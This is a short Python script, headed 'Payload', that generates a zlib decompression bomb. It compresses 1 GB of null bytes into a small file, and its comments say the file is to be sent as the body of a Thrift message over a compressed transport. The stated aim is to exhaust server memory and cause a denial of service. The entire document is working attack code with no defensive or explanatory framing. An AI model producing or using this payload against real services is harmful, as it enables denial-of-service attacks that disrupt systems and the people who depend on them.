Payload

import zlib
import sys

# The goal is to create a small, compressed payload that decompresses to a very large size.
# This exploits data amplification vulnerabilities where a server decodes compressed data
# without sufficient limits, leading to excessive memory allocation and a Denial of Service.

# Target uncompressed size: 1 GB
# Using a single repeating byte (null byte) is extremely compressible.
UNCOMPRESSED_SIZE_IN_GB = 1
uncompressed_size = UNCOMPRESSED_SIZE_IN_GB * 1024 * 1024 * 1024

# For memory efficiency, we generate and compress in chunks.
# Using zlib's compression object for streaming compression.
compressor = zlib.compressobj(level=9)

# Define a chunk of repeating data to feed into the compressor.
CHUNK_SIZE = 1024 * 1024  # 1 MB
repeating_chunk = b'\x00' * CHUNK_SIZE

compressed_data_parts = []

# Feed the compressor with chunks until the target uncompressed size is reached.
bytes_fed = 0
while bytes_fed < uncompressed_size:
    compressed_data_parts.append(compressor.compress(repeating_chunk))
    bytes_fed += CHUNK_SIZE

# Finalize the compression stream.
compressed_data_parts.append(compressor.flush())

# Join the parts to form the final payload.
amplification_payload = b"".join(compressed_data_parts)

# Save the payload to a file. This binary file is the payload.
# It would be sent as the body of a Thrift message over a compressed transport.
with open('amplification_payload.bin', 'wb') as f:
    f.write(amplification_payload)

# (Optional) Print stats to show the amplification factor.
# sys.stdout.write(f"Original data size: {uncompressed_size / (1024*1024*1024):.2f} GB\n")
# sys.stdout.write(f"Compressed payload size: {len(amplification_payload) / 1024:.2f} KB\n")
# sys.stdout.write("Payload saved to 'amplification_payload.bin'\n")